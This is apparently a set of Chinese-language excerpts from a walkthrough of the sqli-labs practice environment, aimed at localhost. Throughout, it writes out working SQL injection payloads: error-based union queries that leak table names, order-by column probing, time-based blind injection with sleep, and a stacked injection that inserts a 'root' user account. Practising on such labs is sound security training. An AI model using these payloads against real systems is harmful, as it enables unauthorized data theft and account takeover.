同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行堆叠注入 login_user=&login_password=1';insert into users(id,username,password) value(15,'root','root')# 登陆…
这个和less9一样,单引号改完双引号就行了 http://localhost/sqli/Less-10/?id=1" and sleep(5)%23 5s后页面完成刷新 http://localhost/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23…